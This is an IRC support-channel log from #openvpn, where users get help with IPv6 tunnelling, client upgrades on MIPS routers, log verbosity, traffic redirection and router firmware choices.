00:18 < alisonc> pekster: nm is working
00:18 <+pekster> Okay, great
00:19 < alisonc> I chose nm's option to import from a configuration file.
00:19 <+pekster> So, what, you have a basic VPN working and want to transport IPv6 across the link? The wiki covers that
00:22 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
00:29 < alisonc> Since I have Debian 7 on the server and Ubuntu 12.04 on my laptop I have 2.2.x openvpn.
00:30 < alisonc> I will build 2.3 from source because that provides full IPv6 support.
00:31 <+pekster> Ah, right. The 2.2 "early developer patchset" provides partial support, but you're really better off with 2.3.0. If you check the mailing lists, there are some debian repos too with 2.3.x in them too, if you'd prefer binaries
00:31 <+pekster> This said, I have offered IPv6 to the debian 2.2.x patched clients; you really ought to use a /64 on all your LANs of this sort anyway, so that particular restriction isn't usually a big deal
00:32 < alisonc> I only have a /64 routed to my entire network though
00:32 <+pekster> Then go get a real allocation from your network provider
00:32 <+pekster> If they refuse, they're idiots and not worth your money. RFC6177 has more info on the subject
00:33 <+pekster> It is trivial to get a /56 from providers that have half a clue or more
00:33 < alisonc> I have a /48, but my router only uses [/48 prefix]:0::/64 because consumer wireless router
00:33 <+pekster> So go run a real router that doesn't suck?
00:34 <+pekster> Or hack around the issue because they haven't really done a proper IPv6 deployment; whatever you find easier to work around I suppose
00:34 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
00:35 < alisonc> I'd like to replace it with something that can run OpenWrt and can do a proper IPv6 routing.
00:35 <+pekster> Yea, there are openwrt packages that can do static routing, DHCPv6-PD, and (if you really want/need it) various dynamic routing protocols
00:37 <+pekster> Optionally, if you can get a real routed block (at least a unique /64, but a /56 or larger is ideal) routed into one of your on-link IPs you can just terminate that on a router and not the worthless ISP hardware
00:37 < alisonc> I can't get native IPv6 from my ISP due to the cable modem I'm using; I use a HE tunnel.
00:38 <+pekster> I'm in a similar situation at home; both HE and sixxs (the top 2 brokers) give you a /48 on request routed to your tunnel endpoint
00:38 <+pekster> Just slice off a /64 and assign it to the VPN server; enable routing, verify the firewall is properly configured, and you're done
00:40 < alisonc> I'm looking at upgrading my router around Christmastime, selling off my old non-OpenWrt-able hardware, and buying three or four identical OpenWrt capable routers to extend wireless coverage all over the house and grounds
00:41 <+pekster> The router doesn't even matter here; if you have a working 6in4 tunnel for your IPv6 traffic, you don't need any more cooperation from the router to offer IPv6 on the LAN
00:41 < alisonc> My LAN already has IPv6
00:42 <+pekster> "I can't get native IPv6" vs "My LAN already has IPv6" -- something doesn't make sense here
00:42 <+pekster> If it's tunneled v6, fine
00:42 < alisonc> Yeah, tunnelled.
00:42 <+pekster> I use _tunneled_ IPv6 on my VPN server
00:42 <+pekster> Works fine
00:43 <+pekster> IPv6 PoP -> your endpoint -> optionally routed to another host (not required, though possible here) -> VPN server
00:43 <+pekster> Remote hosts you want to provide IPv6 access to simply connect to the VPN server over IPv4 (presumably since they don't already have v6 themselves) and the tunnel assigns them both an IPv4 (RFC1918 fine here) and an IPv6 IP from the routed block you're using
00:44 < alisonc> Yeah, that's what I thought
00:53 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
01:07 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has joined #openvpn
01:13 -!- Gman32 [~Gman32@2607:5300:60:2b74::1] has quit [Ping timeout: 240 seconds]
01:13 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
01:15 -!- Gman32 [~Gman32@2607:5300:60:2b74::1] has joined #openvpn
01:20 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
01:50 -!- duoi [~duoi@46.21.151.107] has joined #openvpn
01:53 < duoi> Hi all. I have a strange but worthwhile question to make: is it worth updating my OpenVPN client? I'm currently using version 2.1.3, and using 0.9.8 of libssl and libcrypto.
01:54 -!- duoi [~duoi@46.21.151.107] has quit [Client Quit]
01:54 -!- duoi [~duoi@46.21.151.107] has joined #openvpn
01:56 -!- akurilin [~akurilin@208.185.21.146] has quit [Quit: Leaving]
02:05 < duoi> Anybody? :/
02:07 < pppingme> there's not a strict requirement that client and server be the same version, but you should always keep everything as up to date as you pssibly can..
02:08 < duoi> pppingme is there any performance increases or similar that would entice me to update?
02:09 < pppingme> well, look at it like this, if they didn't either fix or enhance something, there wouldn't have been a need for an update..
02:13 < duoi> I understand that much, but my issue is that it's not a straight forward install. To update will require rewriting several scripts and take up the better half of a day. Don't ask me why, but that's my situation, which is why I'm curious to see if it's worth it. It's running on a 400mhz SoC and I'm only getting half the speeds of what I get on any normal machine, so if updating will mean that
02:13 < duoi> it will improve the performance more than 5% it would be considered justifiable to spend the time on it.
02:26 < pppingme> sounds like you need to upgrade hardware too
02:35 < duoi> This is true. Until yesterday (when I upgraded my connection) it was one of those "If it isn't broke, don't fix it" sort of situations. Nevertheless, do you believe it is enough of a performance increase to warrant updating?
02:41 < pppingme> if your cpu is maxing out, then yes..
02:44 < duoi> Ok, fair enough. Apologies for the seemingly stupid question, but I hope you can appreciate that my position warrants it. Thanks for your time :)
02:45 -!- u0m3_ [~u0m3@92.80.86.178] has joined #openvpn
02:47 -!- u0m3 [~u0m3@92.80.102.13] has quit [Ping timeout: 265 seconds]
02:48 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
03:09 -!- dazo_afk is now known as dazo
03:31 -!- sahni [~sahni@14.139.82.6] has joined #openvpn
03:47 -!- u0m3_ is now known as u0m3
03:53 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
04:07 -!- thumbs [1000@unaffiliated/thumbs] has quit [Remote host closed the connection]
04:07 -!- thumbs [1000@unaffiliated/thumbs] has joined #openvpn
04:19 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
04:24 -!- u0m3 [~u0m3@92.80.86.178] has quit [Read error: Connection reset by peer]
04:29 -!- AginLap [~AginLap@82.116.81.249] has joined #openvpn
04:44 -!- u0m3 [~u0m3@92.80.86.178] has joined #openvpn
04:49 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
05:19 -!- grimeton [~ruth@2a01:4f8:160:41e3:0:dead:beef:cafe] has quit [Ping timeout: 260 seconds]
05:23 -!- ludde [~b@host.62.65.106.155.bitcom.se] has joined #openvpn
05:26 -!- grimeton [~ruth@2a01:4f8:160:41e3:0:dead:beef:cafe] has joined #openvpn
05:38 -!- ludde [~b@host.62.65.106.155.bitcom.se] has quit []
05:39 -!- dazo is now known as dazo_afk
05:41 -!- trumee [~parul@93.186.157.163] has quit [Ping timeout: 260 seconds]
05:52 -!- jefferai [~quassel@kde/mitchell] has quit [Quit: No Ping reply in 180 seconds.]
05:55 -!- jefferai [~quassel@kde/mitchell] has joined #openvpn
06:08 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
06:22 -!- jefferai [~quassel@kde/mitchell] has quit [Quit: No Ping reply in 180 seconds.]
06:22 -!- jefferai [~quassel@corkblock.jefferai.org] has joined #openvpn
06:23 -!- jefferai [~quassel@corkblock.jefferai.org] has quit [Changing host]
06:23 -!- jefferai [~quassel@kde/mitchell] has joined #openvpn
06:26 -!- jefferai [~quassel@kde/mitchell] has quit [Excess Flood]
06:29 -!- jefferai [~quassel@kde/mitchell] has joined #openvpn
06:33 -!- jefferai [~quassel@kde/mitchell] has quit [Client Quit]
06:33 -!- jefferai [~quassel@kde/mitchell] has joined #openvpn
06:37 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
06:37 -!- dazo_afk is now known as dazo
06:38 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
06:40 -!- jefferai [~quassel@kde/mitchell] has quit [Excess Flood]
06:53 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
07:18 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has quit [Ping timeout: 246 seconds]
07:23 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has joined #openvpn
07:23 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has quit [Ping timeout: 240 seconds]
07:23 -!- duoi [~duoi@46.21.151.107] has quit [Ping timeout: 252 seconds]
07:35 -!- sahni [~sahni@14.139.82.6] has quit [Quit: Leaving]
07:42 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has joined #openvpn
08:00 -!- grimeton [~ruth@2a01:4f8:160:41e3:0:dead:beef:cafe] has left #openvpn []
08:07 -!- Chrisje [znc@2a03:f80:ed15:ed15:ed15:ed15:4531:4a8a] has quit [Quit: ZNC - http://znc.sourceforge.net]
08:09 -!- Chrisje [znc@2a03:f80:ed15:ed15:ed15:ed15:4531:4a8a] has joined #openvpn
08:15 -!- Chrisje [znc@2a03:f80:ed15:ed15:ed15:ed15:4531:4a8a] has quit [Quit: ZNC - http://znc.sourceforge.net]
08:18 -!- Chrisje [znc@2a03:f80:ed15:ed15:ed15:ed15:4531:4a8a] has joined #openvpn
08:20 < Ziber> !clientlan
08:20 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see
08:20 <@vpnHelper> !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png | http://pekster.sdf.org/misc/clientlan.png
08:32 -!- SupaYoshi [~SupaYoshi@101.224.028.145.hva.nl] has joined #openvpn
08:42 -!- nick4 [~nick4@77.49.130.196.dsl.dyn.forthnet.gr] has quit [Ping timeout: 245 seconds]
08:43 -!- nick4 [~nick4@213.16.209.101.dsl.dyn.forthnet.gr] has joined #openvpn
09:10 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
09:13 -!- SupaYoshi [~SupaYoshi@101.224.028.145.hva.nl] has quit [Ping timeout: 245 seconds]
09:32  * doug[home] yawns
09:34 -!- doug[home] [~dbh@ool-44c45391.dyn.optonline.net] has quit [Quit: leaving]
09:47 < Ziber> !route
09:47 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for a basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs behind the
09:47 <@vpnHelper> server or client
09:59 -!- Freeaqingme_ [~Freeaqing@91.214.168.110] has joined #openvpn
10:02 -!- Freeaqingme_ is now known as Freeaqingme
10:15 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 272 seconds]
10:27 -!- ade_b [~Ade@97.107.139.66] has joined #openvpn
10:27 -!- ade_b [~Ade@97.107.139.66] has quit [Changing host]
10:27 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
10:37 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
10:53 -!- piece3 [~quassel@14.161.15.21] has joined #openvpn
10:59 -!- s7r [~s7r@openvpn/user/s7r] has quit [Ping timeout: 240 seconds]
11:03 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
11:03 -!- mode/#openvpn [+v s7r] by ChanServ
11:05 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 264 seconds]
11:06 -!- master_of_master [~master_of@p4FF244EB.dip0.t-ipconnect.de] has joined #openvpn
11:07 -!- master_o1_master [~master_of@p4FF24D6D.dip0.t-ipconnect.de] has quit [Ping timeout: 272 seconds]
11:11 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
11:27 -!- sunrunner20 [~jamesdoe@pool-72-64-103-74.dllstx.fios.verizon.net] has joined #openvpn
11:30 < sunrunner20> starter question: how does GuizmOVPN differ from openvpn connect on the itunes store?
11:33 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
11:40 -!- ade_b [~Ade@redhat/adeb] has quit [Read error: Operation timed out]
11:42 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
12:02 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
12:07 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
12:08 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
12:08 -!- liriel [~liriel@198.154.114.106] has quit [Ping timeout: 245 seconds]
12:14 -!- dazo is now known as dazo_afk
12:18 -!- SupaYoshi [~SupaYoshi@ip4da5d319.direct-adsl.nl] has joined #openvpn
12:23 -!- liriel [~liriel@198.154.114.106] has joined #openvpn
12:29 -!- debbie10t [~ma1com10t@host-92-20-11-49.as13285.net] has joined #openvpn
12:29 -!- mode/#openvpn [+o debbie10t] by ChanServ
12:31 -!- ade_b [~Ade@redhat/adeb] has quit [Quit: Too sexy for his shirt]
12:35 -!- codehero [codehero@irc.coding4coffee.org] has joined #openvpn
12:52 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
12:52 -!- SupaYoshi [~SupaYoshi@ip4da5d319.direct-adsl.nl] has quit [Ping timeout: 260 seconds]
12:55 < linuxthefish> hi, how can i connect OpenVPN to a VPS?
12:55 < linuxthefish> with OpenVPN on Windows Host node
13:02 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
13:03 <+pekster> Have you seen the !howto yet?
13:04 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has joined #openvpn
13:08 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
13:11 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has quit [Ping timeout: 272 seconds]
13:13 < BtbN> Very strange, my vpn suddenly stopped working, and it seems like the UDP packets just don't reach the server anymore. Client times out while trying to reach the server, and the server doesn't notice at all that something is trying to connect
13:14 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
13:17 < linuxthefish> pekster not run it in the VPS...
13:17 < linuxthefish> connect the TAP network adaptor to HyperV or something :/
13:17 -!- dimm0k [~dimm0k@pool-72-80-89-149.nycmny.fios.verizon.net] has joined #openvpn
13:18 -!- dimm0k [~dimm0k@pool-72-80-89-149.nycmny.fios.verizon.net] has quit [Changing host]
13:18 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has joined #openvpn
13:18 < sunrunner20> does openvpn connnect support bridged mode?
13:21 <+pekster> !as
13:21 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
13:21 <+pekster> Connect has very little to do with OpenVPN
13:21 <+pekster> !connect
13:21 <@vpnHelper> "connect" is OpenVPN Connect is part of the commercial, non-free (non-GPL) corporate offering; see #openvpn-as for help with these. For the community-maintained GPL OpenVPN, see !download for download links, !android for GPL-openvpn on Android, or !howto for the beginner how-to guide
13:21 < linuxthefish> is it possible for OpenVPN to assign multipul IP's to a client?
13:21 < linuxthefish> like if i bridge the OpenVPN connection to ethernt
13:22 <+pekster> linuxthefish: If you bridge, yes. Otherwise not really, although you could get clever with a 2nd network routed to the openvpn server, use --iroute in the client's ccd file (or --client-connect script) and somehow provide the IPs to the client; the client could then use (itself or downstream) that IP to source from
13:23 < linuxthefish> oh cool, i'll try that
13:25 < linuxthefish> the network bridge is just stuck identifying now :/
13:25 < BtbN> hm, i don't get this. Everything can reach the server fine, except OpenVPN
13:25 < linuxthefish> !goal
13:25 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
13:25 < linuxthefish> oh
13:26 <+pekster> BtbN: A good traceroute tool might give you clues as to the problem
13:26 <+pekster> tcpdump is also useful
13:26 < linuxthefish> i would like my VPS to be able to communicate with, and to get internet access from, the VPN server, without having to install OpenVPN on all my virtual machines
13:26 <+pekster> If "packets just don't arrive" then you have a firewall issue you need to fix
13:27 <+pekster> linuxthefish: So route through the VPN connections and ensure routing is correctly configured to route the downstream VMs' Internet-bound traffic through the tunnel?
13:28 <+pekster> The flowchart in !redirect might be helpful, though if you did _not_ want the VPN client's own traffic to be route via the tunnel you'd need some policy routing business
13:30 < linuxthefish> !redirect
13:30 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
13:30 <@vpnHelper> http://ircpimps.org/redirect.png | http://pekster.sdf.org/misc/redirect.png
13:30 < linuxthefish> hmm, i'll try getting it working with pptp first :D
13:31 <+pekster> Go nuts. pptp isn't openvpn, not supported here, and as of mid-2012, fully insecure. Ref: https://www.cloudcracker.com/
13:31 <@vpnHelper> Title: CloudCracker :: Online Hash Cracker (at www.cloudcracker.com)
13:32 < linuxthefish> oh, it's broken anyway :p
13:33 < linuxthefish> so you say i need some type of router? :/
13:33 <+pekster> Doing anything useful on the Internet requires a router, yes
13:33 <+pekster> That's how the Internet works
13:33 < linuxthefish> now you just take the piss...
13:34 -!- Devastator [~devas@unaffiliated/devastator] has quit [Read error: Connection reset by peer]
13:35 -!- Devastator [~devas@186.214.15.39] has joined #openvpn
13:37 < BtbN> ok, found the issue -_-
13:38 < BtbN> "We have unfortunately just experienced a large incoming attack on a server in RZ19. We have resolved the issue and are currently dropping the udp traffic for 144.76.36.0/24."
13:38 < BtbN> which just happens to be my subnet
14:11 -!- lbft [~lbft@unaffiliated/lbft] has quit [Ping timeout: 245 seconds]
14:12 -!- hazardous [~hz@openvpn/user/hazardous] has quit [Ping timeout: 245 seconds]
14:13 -!- Thermi [~Thermi@unaffiliated/thermi] has quit [Quit: Meet your opposition - Profane and disciplined - Take back your pride - With a pounding hammer]
14:14 -!- Thermi [~Thermi@unaffiliated/thermi] has joined #openvpn
14:14 -!- hazardous [~hz@openvpn/user/hazardous] has joined #openvpn
14:14 -!- mode/#openvpn [+v hazardous] by ChanServ
14:15 -!- SupaYoshi [~SupaYoshi@ip4da5d319.direct-adsl.nl] has joined #openvpn
14:17 -!- lbft [~lbft@unaffiliated/lbft] has joined #openvpn
14:30 -!- Jaska__ [~Q@gprs-internet-bcee7a-247.dhcp.inet.fi] has joined #openvpn
14:30 -!- Jaska_ [~Q@dsl-olubrasgw1-54fb5c-179.dhcp.inet.fi] has quit [Ping timeout: 260 seconds]
14:33 -!- Jaska__ [~Q@gprs-internet-bcee7a-247.dhcp.inet.fi] has quit [Read error: Connection reset by peer]
14:33 -!- Jaska_ [~Q@dsl-olubrasgw1-54fb5c-179.dhcp.inet.fi] has joined #openvpn
15:19 -!- frankS2__ [~frank@91.229.143.143] has joined #openvpn
15:20 < frankS2__> Hi, does VPN have a special name when you do only "client connect to server and server sends client to internet"? no site-to-site and no internal networks..?
15:24 -!- frankS2__ is now known as franks2
15:24 -!- franks2 [~frank@91.229.143.143] has quit [Changing host]
15:24 -!- franks2 [~frank@unaffiliated/franks2] has joined #openvpn
15:27 <+pekster> franks2: Sounds like you want to read: !redirect
15:27 < franks2> !redirect
15:27 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
15:27 <@vpnHelper> http://ircpimps.org/redirect.png | http://pekster.sdf.org/misc/redirect.png
15:28 < franks2> pekster: thanks, so its called "vpn redirection" or smth?
15:28 < franks2> or no name
15:28 <+pekster> Sure, if you'd like. Very technically, it's called multihoming your client and overriding the default gateway for all Internet-bound traffic (except of course the VPN traffic itself)
15:29 <+pekster> OpenVPN does not "change" your IP -- at best it can "give you another one" and then it's up to you to configure routing tables how you'd like -- that's a common misconception among users not familiar with advanced routing
15:32 -!- SupaYoshi [~SupaYoshi@ip4da5d319.direct-adsl.nl] has quit [Ping timeout: 245 seconds]
15:35 < franks2> pekster: hm i read it was called "point to point"? no?
15:36 <+pekster> Those are 2 completely unrelated concepts
15:37 < franks2> pekster: im trying to start to learn VPN in a general note.
15:37 < franks2> trying to figure out the lingo first :)
15:37 <+pekster> Technically, any routed use of openvpn is PtP (Point-to-Point) although Windows is too stupid and fakes it with a "pretend subnet" anyway. And in recent versions, the `--topology subnet` (see !topology) basically makes the routed network appear to the OS as a network even though it's "technically" PtP
15:38 <+pekster> subnet is the recommended topology unless you're trying to support _ancient_ Windiows versions (2.0.9 or earlier, which is nearly 7 years old now)
15:38 <+pekster> That's really the only sane reason to run net30 topology
15:41 < franks2> like what these guys does: https://www.ipredator.se/
15:41 <@vpnHelper> Title: IPredator - VPN (at www.ipredator.se)
15:41 < franks2> does that have aname, for the form of VPN they are providing?
15:41 < franks2> because you are not connecting computers, just "masquerading"
15:43 <+pekster> I have no clue what $some_random_company does
15:43 <+pekster> If you care, ask them
15:43 < franks2> pekster: lets say overplay then.. they are well knwon
15:43 <+pekster> Never heard of them
15:43 <+pekster> !provider
15:43 <@vpnHelper> "provider" is (#1) We are not your provider's free tech support. We support the free open source app OpenVPN, not your provider. Just because they run openvpn does not mean we are their support team. or (#2) Please contact their support team.
15:44 <+pekster> We do _not_ support or generally give a crap about any providers here
15:44 <+pekster> #openvpn helps with OpenVPN, not $your_provider
15:44 < franks2> pekster: i dont carea bout the provider.. i just wondered if the technology/type of vpn had a name
15:44 <+pekster> topolgoy here means something completely different; that's the networking topology used across the PtP links
15:45 <+pekster> Read !topolgoy for details on that
15:45 <+pekster> If you want to NAT/MASQUERADE or redirect traffic, that's entirely up to you
15:45 <+pekster> OpenVPN supports that via !redirect, !route, and we have OS tips/hints for NAT in !nat as well
15:45 -!- Buttefff [~dima@184.82.34.88] has quit [Remote host closed the connection]
15:46 <+pekster> Basically those are all proxies to platform-neutral (well, except NAT which is platform-specific) methods to abstract calls to your OS/distro's routing commands
15:46 <+pekster> NetBSD will use `route`, Linux can use `route` or the newer `ip route` (highly recommended, read !ifconfig_linux), while Windows uses `route.exe` or `netsh.exe`, etc, etc
15:46 <+pekster> Well, *BSD
15:52 -!- Poster|x [~poster@cpe-173-88-41-216.columbus.res.rr.com] has quit [Read error: Connection reset by peer]
15:52 < franks2> !na
15:52 < franks2> !nat
15:52 <@vpnHelper> "nat" is (#1) http://openvpn.net/howto.html#redirect for an explanation of NAT as it applies to openvpn or (#2) http://www.secure-computing.net/wiki/index.php/OpenVPN/FAQ#Traffic_forwarding_doesn.27t_work_when_using_client_specific_access_rules or (#3) dont forget to turn on ip forwarding or (#4) please choose between !linnat !winnat and !fbsdnat for specific howto
15:52 -!- piece3 [~quassel@14.161.15.21] has quit [Remote host closed the connection]
15:53 -!- piece3 [~quassel@14.161.15.21] has joined #openvpn
16:13 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
16:24 -!- sudomakemesandwi [~dima@184.82.34.88] has joined #openvpn
16:24 < sudomakemesandwi> hi again
16:24 < sudomakemesandwi> i was wondering, anyone stumble in a problem with your openvpn log gets so big that openvpn fails to start?
16:25 < sudomakemesandwi> I just ran into it, renamed it and openvpn is working just fine... But seriously? What is up with that
16:26 <+pekster> So tune --verb to your taste?
16:26 <+pekster> !verb
16:26 <@vpnHelper> "verb" is (#1) verb command is for setting log verbosity, see --verb in the manual (!man) for more info or (#2) verb 5 is good for finding firewall problems, verb 4 for troubleshooting anything else, and 3 is good for every day usage. or (#3) Anything more than 5 is for developer debugging only
16:26 < franks2> !server
16:26 <+pekster> I'd recommend something between 2-4 for production use
16:29 < sudomakemesandwi> so, should I just forward log to >null or what?
16:30 <+pekster> You should fix why your logs are "so big" in the first place. Large files aren't a problem for openvpn, though perhaps you have an OS that barfs on them
16:30 <+pekster> !crystal
16:30 <@vpnHelper> "crystal" is Our crystal ball is out of service. Try explaining your !goal, a description of your problem, and relevant !configs and !logs. See also: !welcome.
16:32 < sudomakemesandwi> pekster: I have debian, I dont see any errors or warnings, just regular stuff
16:32 <+pekster> "regular" ??
16:32 < sudomakemesandwi> like this stuff  PO_CTL rwflags=0x0001 ev=4 arg=0x080c574c
16:32 <+pekster> That is _not_ "regular"
16:32 < sudomakemesandwi> really?
16:32 <+pekster> You are apparently using developer-level debugging
16:33 < sudomakemesandwi> yeah
16:33 <+pekster> Are you a developer doing debugging of the internal code?
16:33 < sudomakemesandwi> no
16:33 <+pekster> Then WTF are you using developer level logs?
16:33 <+pekster> Did you even read the helpful info I gave you above?
16:33 <+pekster> (hint: you didn't. Go read it now.)
16:33  * sudomakemesandwi runs aways into the the forest never to be seen again
16:34 -!- michaelhart [~michaelha@192-0-240-20.cpe.teksavvy.com] has quit [Quit: michaelhart]
16:34 < sudomakemesandwi> thanks, but still, at some point in time, log is going to get big and it will fail
16:34  * debbie10t can still see sudomakemesandwi
16:35 < sudomakemesandwi> hehe
16:35 < sudomakemesandwi> I fixed it, put debugging level to 1
16:35 <@debbie10t> erm .. you don't need any debug level at all
16:36 -!- debbie10t is now known as tech-four-nine
16:37 <@tech-four-nine> verb 6 is sufficient to analise most openvpn issues
16:37 <+pekster> Don't use 6 unless you're a dev
16:38 <+pekster> 5 at most, and only then if you're trying to identify fireall issues
16:38 <+pekster> 5 spews characters for _every_ packet written both inside the tunnel and for the encapsulating traffic (so that's a minimum of 2 characters for each packet in any direction)
16:38 <+pekster> That _will_ spam your logs during normal use
16:38 <@tech-four-nine> pekster is never wrong ;)
16:39 <+pekster> This is, in fact, what !verb says above too
16:39 < sudomakemesandwi> okay, I set it to 1 for now. THing is I was trying to figure out my ddwrt wouldn't connect properly. So I jsut set it to max and forgot about it
16:39 <+pekster> Setting things without understanding what they do is often a poor idea; YMMV
16:39 <+pekster> 1-4 are normal "everyday" values, with increasing levels of talkativity at each
16:40 <+pekster> Pick which one you need based on what kinds of logs you need and what troubleshooting you plan to do from them
16:45 <@tech-four-nine> learned today that in simple tun mode remote can be used on both ends to provide a ip address level of security .. but UDP packets can be easily spoofed
16:49 -!- duoi [~duoi@46.21.151.107] has joined #openvpn
16:59 < sudomakemesandwi> you're right, I really need to get aside some time and read a book on openvpn. I have a fair understanding of networking, but I do feel as though I need information before I can truly implement the openvpn vpn system to it's fullest extent.
17:00 < sudomakemesandwi> At this point, I can get the pc windows client connected, an android phone, but I am having difficulty with ddwrt and the phone sometimes doesn't route correctly.
17:00 < rob0> UDP packets can be easily spoofed, sure, but x509 is not so easy.
17:11 <@tech-four-nine> rob0: i was using no security at all and was reading right back to the old manuals ..
17:16 -!- SupaYoshi [~SupaYoshi@ip4da5d319.direct-adsl.nl] has joined #openvpn
17:18 < duoi> Can anyone direct me to where I can get the latest OpenVPN client build for MIPS? The current one I have is v2.1.3, 358kb, and I'm having difficulty trying to find a comparable build.
17:22 -!- Jaska_ [~Q@dsl-olubrasgw1-54fb5c-179.dhcp.inet.fi] has quit [Ping timeout: 260 seconds]
17:23 < duoi> This is a link to the file I'm looking to update: http://stevenjohns.com.au/2.6/openvpn/bin/openvpn (note: this is the actual file, not a directory: it has no extension)
17:23 < rob0> "Client build", there is only one binary. If you don't see it here ...
17:23 < rob0> !downloads
17:23 < rob0> !download
17:23 <+pekster> gcc can make you one duoi. Distros like openwrt already have openwrt in their build/packaging system too (IIRC, 2.3 is in openwrt's trunk and BB branch; I'm not sure if AA has 2.3 or still 2.2
17:24 <@vpnHelper> "download" is (#1) http://openvpn.net/index.php/download/community-downloads.html to download openvpn or (#2) OpenVPN's Windows installer now includes OpenVPN GUI. Don't bother with http://openvpn.se anymore or (#3) Don't trust download.com at all. It provides an extremely old version with malware: http://insecure.org/news/download-com-fiasco.html or (#4) in the community version of openvpn
17:24 <@vpnHelper> (only thing supported here) there is no separate download for client/server, it is the same install with different configs
17:24 -!- batrick [batrick@nmap/developer/batrick] has quit [Ping timeout: 240 seconds]
17:24 < rob0> ... you might need to ask in a place for your OS/distro
17:24 <+pekster> builds are as abstract as "here's one that works on all MIPS" -- you need to build it for your _target_ distro such that dynamic library linking works as required
17:24 <+pekster> are _not_ as abstract*
17:25 <+pekster> openwrt should "just work" with their build system; may the Queen save you if you're running something as awful as dd-wrt
17:29 -!- simcop2387 [~simcop238@p3m/member/simcop2387] has quit [Quit: ZNC - http://znc.sourceforge.net]
17:31 -!- simcop2387 [~simcop238@p3m/member/simcop2387] has joined #openvpn
17:33 -!- SupaYoshi [~SupaYoshi@ip4da5d319.direct-adsl.nl] has quit [Ping timeout: 245 seconds]
17:34 < duoi> Okay, thanks for the information :) I will be running it on DD-WRT (I guess should start sending donations in good will to the Queen) so should I just find a release that works with that distro? It's worth mentioning that I manually write the scripts to connect rather than depend on the prebuilt functionality in DD-WRT.
17:35 < rob0> Usually an embedded distro like that is updated all at once.
17:42 <+pekster> Personally, I'd recommend shit-canning dd-wrt; they do many things wrong and don't really have a usable build system
17:43 <+pekster> Your call (use it if you really do like the platform,) but I strongly discourage that platform given their demonstrated incompetence
17:44 < sudomakemesandwi> i was wondering, is it possible to have openvpn served share a clients network to other vpn clients
17:47 < sudomakemesandwi> maybe i would have to run rip on that client or something?
17:47 <+pekster> !learn dd-wrt as While some users have success with dd-wrt, the build system isn't very accessible to users and there have been security issues with the distro. Consider carefully if this is the platform you want to use for OpenVPN
17:47 <@vpnHelper> Joo got it.
